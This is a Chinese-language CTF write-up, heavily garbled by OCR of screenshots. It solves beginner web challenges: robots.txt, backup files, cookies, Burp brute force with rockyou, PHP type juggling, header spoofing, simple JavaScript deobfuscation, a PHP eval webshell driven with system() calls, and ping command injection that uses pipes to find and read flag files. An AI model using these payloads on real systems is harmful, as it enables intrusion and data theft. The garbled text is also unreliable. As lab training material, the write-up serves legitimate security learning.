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1.view_source
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<!DOCTYPE html=
<html lang="en* event

head(™ </head

scripkl=l=/script
<haFLAG is not here</hl=
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</body=>

</ /html=
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User-agent: * fREFTA KHE R 51 MK
Disallow: Z£i1FE3 Hx

Alow: f¥FEF HF

Sitemap: 3k ) 1 &

111.200.241.244:50251frobc X =+

¢ © 4 111.200.241.244

o Kali Linux % Kali Training & Kali Tools % Kali Forums <« KaliDocs & NetHu

User-agent: *
Disallow:
Disallow: flag 1s h3re.php

F, HEEAMUL)E A robots. txt.
Wt SkdisallowI A%, BHHEZEErobots. txtMifE, EFEME M _Eflag_1s_h3re.php.

111.200.241.244:50251/flac X —+
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index.php.bak

f- | root@kali2021: ~/ T &
5% N ENME iR BB A
ElR 1 <html

3 meta charset
T A titles& i X/ ritlef
5 link href
e& 5 style
XiFR G i1 - .marg::L-'u—le_Ft:
L) KaliLinuxa.. & 2 margin-right:
] margin-TOP:
E 11 width:

™ s ma e

il index.phpf) &M XHESE ? </h3
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Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extend
Intercept HTTP history WebSockets history Opticns

f Request to http://111.200.241.244:62588

| Forward | | Drop | Intercept is on | Action | | Open Browser

Pretty m Actions

GET f HTTR/1.1 %r n
Host: 111,200,241, 244: 62588 \r n

[ W I T (W I )

(]

Accept-Encoding: gzip, deflate dr in
Connection: close r \n

Cookie: look-here=cookie.php \r \n
Upgrade-Insecure-Requests: 1 ir n
\r n

[ ]

=
|l o I Vi

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv: 78,
Accept: text/shtml,application/xhtml+xml, applicationsxml ;g=0.9, image/webp, */%;g=0,8\r \n
Accept -Language: zh-CN, zh; q=0.8, zh-TW; g=0.7, zh-HK; g=0.5, en-US; g=0. 3, en;q=0. 2 \r n

0) Gecko,/20100101 Firefox/78.0%r n

e, HERTAEMR, look-here=cookie.phpiBitH 5 iHRR!

B B e bk J5 18 i _E/cookie.php, BRI !

See the http response

MBEAMRIHREFIMEKIETR, RARERCLLERFE T flag

Response

'l Raw Render \n Actions v
HTTR/1.1 200 0K

Date: Wed, 13 0ct 2021 12:32: 37 GMT
Server: Apaches2.4.7 (Ubuntu)

¥-Powered-By: PHP/S5.5.9-1lubuntud. 26

Vary: Accept-Encoding
Content-Length: 411
Connection: close
Content-Type: text/html

o
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<html=
=head=
<meta charset="UTF-8"=>
=title=
Cookie
=/title=

1z
13
14

15
15
17
13
19
20
21
22 T

23 =/style=
24 </head=

25 =hody=

<h 3=

=style=
body{
margin-left:auto;
margin-right:auto;
margin-TOP: 200PX;
width:20em;

26

flag: cyberpeace{0938a721laa%9dcd294c9a583697836Tcal

<link href="http://libs.baidu.com/bootstrap/3.0.3/css/boots
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KETER, PERMAL, K5 KMdisabled
=farm ac—.-ior:‘“ " ;"eéhc-:-I:"pnstﬁ
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</ form=
/body=>
tml=
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Login

username
password

login

reset

gﬁ’ %%%E_\" )ﬁ*?loglnﬁﬁ

please login as admin

B—TFZJERIER~: please login as admin
IRRATBRENE P & £admin, ZiEAH, BEEEEH!
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Forwar 1 Drop . Intercept is on . Action 1 Open Browser

Pretty Actions v

POST fcheck , php HTTP/1.1 A1 tn

Host: 111,200,241, 244: 53896 \r \n

User-Agent: Mozillas5.0(X11: Linux xB6_64; rv:78.0) Gecko/20100101 Firefox/78.0\r \n
Accept: text/html,applications/xhtml+xml,application/xml;q=0.9, image /webp, ¥/ %;q=0.8\r n
Accept -Language: zh-CN, zh;g=0.8,zh-TW;g=0.7.,zh-HK;g=0.5,en-US;g=0.3,en;g=0.2\r \n
Accept-Encoding: gzip, deflate 'r \n

Content-Type: applications/x-www-Torm-urlencoded \r n

Content-Length: 24 \r in

Origin: http://111.200, 241, 24453896 \r \n

Connection: closeir \n

=
Lo Vel s IR I TR U I VI O I

11 Referer: http://111.200,241,244:63895/ 'r \n
12 Cookie: look-here=cookie.phpr 'n
1% Upgrade-Insecure-Requests: 1\r An Scan
14 Ar \n
15 username=admin&passwords Send to Intruder Ctrl-1
Sendto Repeater Ctrl-R
Send to Sequencer
Send to Comparer
Send to Decoder
Request in browser >
T
BEAT FRA
Dashboard Target Prosey Intruder Repeater Sequencer Decoder Comparer Extender Project options User options
1 = 2 =
Target Positions Payloads Options

@ Payload Positions
Configure the positicns where payloads will be inserted into the base request. The attack type determines the way inwhich payloads are assigned to paylead positions - see |

Attack type: | Sniper

POST fcheck . php HTTP/1.1

Host: 111,200, 241, 244 63896

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/shtml,application/xhtml+xml, applicationsxml;g=0.9, image/webp, ¥/*;q=0.8
Accept -Language: zh-CN, zh; q=0.8,zh-TW; q=0.7, zh-HK; g=0.5, en-U3; g=0. 3, en;q=0. 2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 24

Origin: http://111. 200,241, 244: 63896

Connection: close

Referer: http://111.200.241. 24463896/

Cookie: look-here=cookie.php

13 Upgrade-Insecure-Requests: 1

14

15 username=admin&password=8§

e
BH S W= @® Wk

WEHFRNTER, SATHRE;

XEkalig w7 —AMNE#EE M, RATWAT L Egithub LR B — B KRB MFL 7, XERBBEE RN, K
B — M L
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Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project opticns User options
3 = 4 = 5 =
Target Positions Payloads Options

(@ Payloadsets Startattack
el e <
different ways.

Payloadset: | 1 ~|  Payloadcount: 0 Look In: |- root v| B A K . S
Payload type: | simple list v| Request count: O I cython
[ jiaoben
B learnpythen
® Payload Options [Simple list] B test
This payload type lets you configure a simple list of strings that are used 0 xuexi
T
[ Paste | b a3t
( \ b= EA
Load ..
L Lot ) B i
| mremove | o A
[ clear | [ it
- D iRsi
b &5
i kall.bet
| rockyou.tet
[ | i testtxt
(? PayloadProcessing
You can define rules to perform various precessing tasks en each payload
| Add | Enabled Rule 1 | ‘
—_— File M. 3 bt
| cdt | ile Mame rockyou,
[ — Files of Type: | RFEXHF v|
4 [0 | »
Ly > H . YHe 4 ‘ AN
MEREEFEsimple list, SAFH, BHTRH, Sth LMAFiEstack!
14 ALMIN 200 424
13 admin 200 434
14 123456 200 437
15 123 200 434
16 65435 200 434
17 677564 200 434
18 SRR nn 434

LB EEEA R, BRATMT AT ER, XESHKZ123456
MEBREITRE, AF4: admin, Fi5: 123456
BEEEXR, 53fag
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simple_php {2 WriteupEIMOLLMY 124t |

MEREY
HMBXER
B #ER D TIRiEphp ERFIHES
#HBH=: W@ http//111.200.241.244:49896
Hikzins

BT : 03:59:42 [ Rt |

HBKE . BX

o m 3

R, NHIKET !
PHPRI R L RIFHIES
MBATHKE — T IE!

<?php
show source(_ FILE );
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b"];
if($a==0 and $a){
echo $flagl;
}
if(is _numeric($b)){
exit();
}
1f($b>1234){
echo $flag2;

7>

MEIE ARSI, BUR T BACEERATHIE BTemm
ARBRATT AR o] 5 T — T e
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HAEAEMGETTikfe Na. bFAME, FHHa==0HahHK, bARKFHELKT 1234, KHEWTERAE Rk,
AEATE W — T phpi H¥% !

== it

phpH A FfH LR =

=== SR LB A B A AT KA

SRR FHELBMERAREY, BELE, BT HRALE
Xt T BT eeJt Sk KI# S

is_numeric() HWITERBTNHFIIEEHFE
is_numeric() HRFLSAHWMRERIEFAHZFZREMIRE TRUE, FURE FALSE, HphpH 53R B LR, &f#('1234a" == 1234)H
E, 0¥ '12345%00'

ARBATTAT A3 -
?a="0'&b=1235a
?a=a&b=12345a
?a="0e&b=12359a
EHRSHET S, BAESENER, RERER—MRTUSElagT ! ! !

Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}
O D=8 DEEs Dude NEg ()atsEs Qe OrE B e 1

Encryption + Encoding ~ SQL ~ XSS~ Other ~

sl Load URL http://111.200.241.244:49896/7a="1"&b=1235a
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get post S Writeupea b A, « 7L =472 |

HERE
HMEEER :
2B HEi
AEHSRE : W@ http://111.200.241.244:51191
Miizin s

@Eited ; 03:59:47 [ aEaT |

HEMHE . FEX

o m 3

HERE, F2 7T —a#RR!

X POST&GET O

c @ © & 111.200.241.244:51191

o Kali Linux & Kali Training & Kali Tools % Kali Forums = KaliDocs e NetHunter Offensive Security MSFU &< Ex

BAGETARRR— M EhaBRiINEE

HHGET 7 XX —1Fa=1

IR E BT FFHackBar, $#232!
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BRGETANVRER— 1R NaERN1INEE
EBUPOSTAAEERIRZ— 1B AbEN2NEE

O D8 DEsls DEdE NEg {(JEtsss Ot OnE B e  TEEFE @ HackBar

Encryption = Encoding ~ SQL ~» XSS5~ Other -
') Load URL http://111.200.241.244:51191/7a=1

4|

LI

W2 G, XHkR—AE, FAPOST AR b=2
FRH 13 FH HackBarit 17238

= c @ © 4 111.200.241.244

130%

« Kali Linux & Kali Training & Kali Tools ¥ Kali Forums < Kali Docs e NetHunter

Offensive Security MSFU # Exploit-DB #- GHDB

BRAGETAARR—1TR&NaEAINEE
BB LAPOSTAIUEERRR — 1B AbEH2HNEE
cyberpeace{5dbc48d711c4eed763409558c2e6975f}

O O DEHs DEEdsE NEg ((etsss Ouse e B e + TESHE @ HackBar

Encryption + Encoding + SQL » XSS+ Other

= Load URL http://111.200.241.244:51191/7a=1
U split URL
| » | Execute | .
- Post data Referer User Agent Cookies Clear All

b=2

4|

LI

HEHRS HflagT ! !
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ES A Tk

1 GET EREENEEES, FEREEEE,
2 HEAD LT GET FXR, RANTERNMER=EEERAE, ATHERIR:
3 POST FEEEREFEEHTIRER (FURrREaE LFE) | HiERaEEERER. POST ERAESSHEF R

FHENETHREEEFEEMN.

4 PUT MEFREESSCENIIENAEEN RN RE.

DELETE ERESERPREE T E.

on

CONNECT | HTTP/M.1 thiM s s g s B a T A LIERSS 25,

[=3]

7 OPTIONS  miFEFIREEIRSEEIEEE.

8 TRACE RIZERSEWEENER, EERTIESHET.

9 PATCH 71 PUT 7iE803b3s, AN AR S3ER .

1 mn r
HitpI TR REF, HET, RESKRSHRMA I, TLERA B E LT E#TERSH! !
9.xff_referer

xff_referer St WriteupeiE K -

JEE R
MBEXR .
U= By
HMBHR . W@ htip://111.200.241.244:53004
i3

fEi+ed - 03:59:50 | AT |

B . B

o m 3

% BIXLL fereferer iz 2 Oy G R L2 2RI, RJ5 midh B !

B RRAE 5B X SrefererfH 4 74 !
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X-Forwarded-For (XFF) & HRiRBIE T HTTPAR B 8k 61 2535 45 77 3% 32 B Web IR 55 28 1 % 7 i B R IR Y
IPHisEFIHTTPE R Lk FB . Squid ZHFEREMLR/OFARARABREIANT X —HTTPLFE, JHHIETFE

HTTPLZBIREAERPIERIRE . H452H FHEMRESH WP AKREISP, N T EEZF 17 ok K
R AT AR B, AT R R SR RS B P AR AR S SR BB . FHERT, XK
SRZFEANRE, HPEERNEE CIEEMSARE LM,

HTTP Referer&headerff] —&B4), 243 %2% mIwebfk 528 KX BRI %, —M & _EReferer, &HiFRS
FZ M TR BN T T B SR 1, ARSS25 Rl I P ARG — (5 B FAb .

ERERERAER AR

iptiht s Fi}123.123.123.123

iR R ENEXFF:
RIHHTE:

T I W T

GET / HTTPf1.1 %r %n

Host: 111,200,241, 244: 53004 \r \n

User-Agent: Mozilla/5. 0 (X¥11: Linux x86_&4; rv:78.0) Gecko/20100101 Firefox/78.0%r \n
Accept: text/html,application/xhtml+xml, application/xml;q=0.9, image / webp, */%;q=0.8"\r ‘n
Accept -Language: zh-CM, zh;q=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-US;g=0.3,en;g=0.2\r \n
Accept-Encoding: gzip, deflate 'r in

Connection: close \r in

Cookie: look-here=cookie.php ir n

Upgrade-Insecure-Requests: 1 ir n

Cache-Control: max-age=0\ir \n

11 X-Forwarded-For:123,123,123,123\r \n

12 Ar An

13

[ IV I TV S I

=
[= Vel L]

R, BlHA—ER!

A B hitps://www.google.com

X2 thigreferer, REIMEM E—MXFF—EhiE:

GET / HTTR/1.1 %r \n

Host: 111,200,241, 244:53004 \r %n

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0%r n
Accept: text/shtml,application/xhtml+xml,applicationsxml;g=0.9, image/webp, ¥/*;q=0.8\r n
Accept -Language: zh-CN, zh; q=0.8,zh-TW; g=0.7, zh-HK; g=0.5, en-US; g=0.3,en;q=0. 2 \r n
Accept-Encoding: gzip, deflate ir in

Connection: close r \n

Cookie: look-here=cookie.php ir n

Upgrade-Insecure-Requests: 14r 'n

10 Cache-Control: max-age=0Xir in

11 ¥-Forwared-For:123,123.123.123\r n

12 referer:https://www.google.comir \n

13 Ar An

14

Lo JRF ) I S AV (W

o=l

4]

¥Rk, B3flag! !
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REIRMGERAZH AT LT ! ! !
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10.webshell

webshell BEEWriteupEiER « DengZi2f |

RMERE
CEESEE
BE i 0
#FHZ: : B http//111.200.241.244:59133
bRz S

B4 : 03:59:52 [ iERT |

HBME: EX

o m 3

webshell, RE|FIH—KT !
— R #R Reval, T LLRSET]EE weevelyR#ENJEIT,
X B A5 B B FH HackBark 3t 17 4 5 )webshel lBAE ! !

{R&{EBwebshellld ?

<?php @eval($_POST['shell]);?>

BAVERE R —F, PHPIES FHevalfIfEH !
1.eval() B EIE 777 8 2 H8 PHP AUSRiH5H.
2 ZFF R WARAER PHP 55, HUSUSSERE.


https://imgtu.com/i/5QR9Fe
https://imgtu.com/i/5QRmTS
https://imgtu.com/i/5QR8O0

3B ERA AN FER & FIEA return 4], TRE NULL. RSP EEMBITE R, N eval() EEGR E
false.

FrilE S HEWITeval A KRR, EFAFH DR HIAT! !
HEATEBEPOST )i & 1A !

i Load URL http://111.200.241.244:59133/

I spiit URL

| Execut .
Post data Referer User Agent Cockies Clear All

shell=system("Is");

shell=system("1s");

RIERE SRR T !

(R&{EAwebshellld ?

flag.ixt index.php <?php
@eval($_POST['shell]);?>

IsLINUXRZHFEE S/ B X T XXHHa4

HEMED T UM BERTHE —Mag.txt, 3% Hcatkifibiz s, 52flag!

{R&{ERwebshellRg ?

cyberpeace{0327593210c5d1606a43f61ab7791ed2}<?php
@eval($_POST['shell]);?>

) EEE mEls DWdE N @E () EdedEE QO se OAE B Ed T TESEE @ HackBar

yption +  Encoding + SQL ~ XSS~ Other =

-.oad URL http//111.200.241.244:59133/

split URL
=xecut i
recute Post data Referer User Agent Cookies Clear All

shell=system("cat flag.ixt");

4 m

cyberpeace{0327593210c5d1606a43f61ab7791ed2}

11.commad_execution

B, NRZXANEWLKpingThee, rcet%


https://imgtu.com/i/5QRcTO
https://imgtu.com/i/5Q4T2Q
https://imgtu.com/i/5Q4Lbq

command_execution S WriteupEap

= E kR
ME L : 1757 i
#AE7R : W@ hitp//111.200.241.244:64566
k%2

{Eite ; 03:59:51 [ st |

HBMHE . B

o m 3

EHIE, SR AAIE AT, REFHSER T ThaE! !

PING

127.0.0.1

PING

ping -c 3 127.0.0.1

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.

64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.053 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.064 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.060 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1999ms
rtt min/avg/max/mdev = 0.053/0.059/0.064/0.004 ms

Linuxpy fir & BHEFTLAR: si# BT | s &0 ST HHE:

127.0.0.1|1s


https://imgtu.com/i/5Q4zPU
https://imgtu.com/i/5Q5p24

PING

127.0.0.1|ls

PING

ping -c 3 127.0.0.1|1s
index.php

REFA 2 B BH K
W EERIFHRIEL!

127.0.0.1|find / -name flag.*

PING

127.0.0.1]find / -name flag.’|

PING

ping -c 3 127.0.0.1|find / -name flag.*
/home/flag.txt

8 3 7E/home/flag.txt T
RIGcatEE ! !

127.0.0.1|cat flag.txt


https://imgtu.com/i/5Qo6v4
https://imgtu.com/i/5Qo2r9

PING

127.0.0.1|cat /home/flag.ix{

PING

ping -c 3 127.0.0.1|cat /home/flag.txt
cyberpeace{c3c70bbb8923a6ea850881c22a97ealfa}

B3lflag! ! !

cyberpeace{c3c70bbb893a6ea850881c22a97ealfa}

12.simple_js
XEBE, BABLARENES, T TO08, REEHIEERFREHIET HR! !

simple_|s St WriteupgaVenom - |

EERHY .
FEXKE
B ik T— AP , BH—EWANEE, (Flagis
MEHR : W hitp://111.200.241.244:55764
15 2

{Ei+ad : 03:56:08 | s |

AEMF : BX

4 I 3

REANEGE, —HEE—HHE, SEFERNY, RIISH:


https://imgtu.com/i/5QofV1
https://imgtu.com/i/5Qoo8O

<html>

<head>
<title>JS</title>
<script type="text/javascript">
<I--THRRXBEET -->

function dechiffre(pass_enc){

var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";

var tab = pass_enc.split(',");
var tab2 = pass.split(',"');

var i,j,k,1=0,m,n,o,p = "";

P = 0;

1
j = tab.length;

k =3+ (1) + (n=0);
n = tab2.length;

for(i = (0=0); i < (k =3 =n); i++ ){
o = tab[i-1];
p += String.fromCharCode((o = tab2[i]));
if(i == 5)
break;
}
for(i = (0=0); 1 < (k =3 =n); i++ ){
o = tab[i-1];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
}
// EH— R AEEE, HEETE
p += String.fromCharCode(tab2[17]);
pass = p;
return pass;
}
/1 KRN, BE#EMpythonf#fE: [55,56,54,79,115,69,114,116,107,49,50]
//REBasciitdit, 82lflag, REHIREflagikN\MEHRATLT ! !

String["fromCharCode"]
(dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31
\Xx31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30") ) ;

h = window.prompt('Enter password');
alert( dechiffre(h) );

</script>
</head>
</html>

\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c
\x31\x30\x37\x2c\x34\x39\x2c\x35\x30
//BEUT R pycharm& !



https://imgtu.com/i/5QovIP

SR J5 3 J75 % asciids 47 -

X5 Fflaght AT H & -

Cyberpeace{7860sErtk12}

B32lflag, &2, FEF! ! !


https://imgtu.com/i/5QTirj
https://imgtu.com/i/5QTFqs
https://imgtu.com/i/5QTeiV
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